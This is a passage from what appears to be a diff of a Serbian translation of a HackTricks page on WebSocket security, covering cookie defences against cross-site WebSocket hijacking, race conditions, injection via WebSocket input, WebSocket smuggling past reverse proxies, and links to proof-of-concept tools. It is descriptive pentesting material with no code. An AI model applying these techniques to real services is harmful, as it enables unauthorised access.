- **Firefox Total Cookie Protection**: Total Cookie Protection radi tako što izoluje cookies na sajtu na kojem su kreirani. U suštini, svaki sajt ima svoju particiju za skladištenje cookie-a da spreči treće strane da povežu korisnikovu istoriju pretrage. Ovo čini **CSWSH neupotrebljivim** jer napadačeva stranica neće imati pristup cookie-ima.
|
||||||
- **Chrome blokada kolačića trećih strana**: Ovo takođe može sprečiti slanje kolačića autentifikovanog korisnika na websocket server čak i sa `SameSite=None`.
|
- **Chrome third-party cookies block**: Ovo takođe može sprečiti slanje cookie-a autentifikovanog korisnika websocket serveru čak i sa `SameSite=None`.
|
||||||
|
|
||||||
## Uslovni uslovi
|
## Race Conditions
|
||||||
|
|
||||||
Uslovni uslovi u WebSocket-ima su takođe stvar, [proverite ove informacije da biste saznali više](race-condition.md#rc-in-websockets).
|
Race Conditions u WebSockets takođe postoje; [proverite ovu informaciju za više detalja](race-condition.md#rc-in-websockets).
|
||||||
|
|
||||||
## Druge ranjivosti
|
## Ostale ranjivosti
|
||||||
|
|
||||||
Pošto su Web Sockets mehanizam za **slanje podataka na serversku i klijentsku stranu**, u zavisnosti od toga kako server i klijent obrađuju informacije, **Web Sockets se mogu koristiti za iskorišćavanje nekoliko drugih ranjivosti kao što su XSS, SQLi ili bilo koja druga uobičajena web ranjivost koristeći unos korisnika iz websocket-a.**
|
Pošto su Web Sockets mehanizam za **slanje podataka ka serveru i klijentu**, u zavisnosti od načina na koji server i klijent obrađuju te informacije, **Web Sockets se mogu iskoristiti za eksploatisanje različitih drugih ranjivosti kao što su XSS, SQLi ili bilo koja druga uobičajena web ranjivost koristeći input korisnika preko websocket-a.**
|
||||||
|
|
||||||
## **WebSocket Smuggling**
|
## **WebSocket Smuggling**
|
||||||
|
|
||||||
Ova ranjivost bi mogla omogućiti da **zaobiđete ograničenja obrnute proxy veze** tako što će ih naterati da veruju da je **websocket komunikacija uspostavljena** (čak i ako to nije tačno). Ovo bi moglo omogućiti napadaču da **pristupi skrivenim krajnjim tačkama**. Za više informacija proverite sledeću stranicu:
|
Ova ranjivost može omogućiti da zaobiđete ograničenja reverse proxies tako što će ih navesti da veruju da je **websocket komunikacija uspostavljena** (čak i kada to nije tačno). To može omogućiti napadaču da **pristupi skrivenim endpoints**. Za više informacija pogledajte sledeću stranicu:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
h2c-smuggling.md
|
h2c-smuggling.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Reference
|
## References
|
||||||
|
|
||||||
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
|
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
|
||||||
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
|
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
|
||||||
|
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
|
||||||
|
- [WebSocket Turbo Intruder – BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
|
||||||
|
- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
|
||||||
|
- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
|
||||||
|
- [Server-side prototype pollution – safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
|
||||||
|
- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
|
||||||
|
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
|
||||||
|
- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user